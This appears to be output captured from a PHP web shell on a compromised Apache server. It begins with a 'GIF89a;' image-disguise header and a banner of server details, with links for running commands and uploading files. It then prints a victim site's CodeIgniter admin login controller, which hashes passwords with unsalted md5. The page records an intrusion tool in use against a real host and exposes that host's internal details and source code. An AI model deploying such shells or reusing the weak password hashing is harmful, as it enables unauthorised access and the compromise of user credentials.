GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.118.126.44 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../jnclnmu/../jobs/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Description of Authentication * * @author Softpro India Pvt. Ltd */ class Authentication extends CI_Controller { //put your code here public function __construct() { parent::__construct(); $this->load->model("admin/AuthenticationManagement"); $this->load->model("admin/BranchManagement"); } public function index() { if ($this->sessionvalidator->validateSession()) { redirect("admin/Dashboard"); } else { $this->load->view("admin/login"); } } public function authLogin() { $this->form_validation->set_rules("username", "username", "required", array("required" => "Enter Your Username.")); $this->form_validation->set_rules("password", "password", "required", array("required" => "Enter Your Password.")); if ($this->form_validation->run() == false) { $this->index(); } else { $username = $this->input->post("username"); $password = $this->input->post("password"); $credentials = array("username" => $username, "password" => $password); $admin = $this->AuthenticationManagement->validateAdmin($credentials)->result(); $branch = $this->BranchManagement->getAllBranches()->result(); if (sizeof($admin) > 0) { $adminData = array("admin_username" => $admin[0]->login_username, "admin_name" => $admin[0]->login_name, "admin_id" => $admin[0]->login_id, "admin_role" => "Admin", "login_status" => $admin[0]->login_status, "isLoggedIn" => true); if (sizeof($branch)) { $br=$branch[0]; $branchData = array( 'branch_id' => $br->branch_id, 'branch_name' => $br->branch_name, 'branch_short_name' => $br->branch_short_name, 'branch_email' => $br->branch_email, 'branch_mobile' => $br->branch_mobile_no, 'branch_tel' => $br->branch_tel_no, 'branch_fax' => $br->branch_fax, 'branch_website' => $br->branch_website_url ); $this->session->set_userdata("branchData", $branchData); } $this->session->set_userdata("job_admin_data", $adminData); redirect("admin/Dashboard"); } else { $this->session->set_flashdata("errorMessage", "Wrong credentials."); $this->index(); } } } public function changePassword() { $this->load->view("admin/changePassword"); } public function setChangedPassword() { if ($this->sessionvalidator->validateSession()) { $this->form_validation->set_rules("currentPassword", "current password", "required", array("required" => "Enter Current Password.")); $this->form_validation->set_rules("newPassword", "new password", "required", array("required" => "Enter New Password")); $this->form_validation->set_rules("confirmNewPassword", "confirm new password", "required|matches[newPassword]", array("required" => "Re-enter New Password")); $admin_id = $this->session->userdata("job_admin_data")["admin_id"]; $currentPassword = $this->input->post("currentPassword"); $newPassword = $this->input->post("newPassword"); $confirmNewPassword = $this->input->post("confirmNewPassword"); if ($this->form_validation->run() == false) { $this->changePassword(); } else if (sizeof($this->AuthenticationManagement->getAdmin($admin_id, md5($currentPassword))->result()) <= 0) { $this->session->set_flashdata("errorMessage", "Enter Correct Current Password."); $this->changePassword(); } else { if (!(strtolower($currentPassword) == strtolower($newPassword))) { //when old and new password are different $enc_new_password = md5($newPassword); $adminData = array("login_id" => $this->session->userdata("job_admin_data")["admin_id"], "login_password" => $enc_new_password); if ($this->AuthenticationManagement->updateAdmin($adminData)) { $this->session->set_flashdata("successMessage", "Password Changed Successfully."); $this->changePassword(); } else { $this->session->set_flashdata("errorMessage", "Failed To Change Password."); $this->changePassword(); } } else { $this->session->set_flashdata("errorMessage", "New Password Can't Be Same As Old Password."); $this->changePassword(); } } } else { $this->load->view("admin/login"); } } public function authLogout() { $this->session->unset_userdata('job_admin_data'); redirect("admin"); } }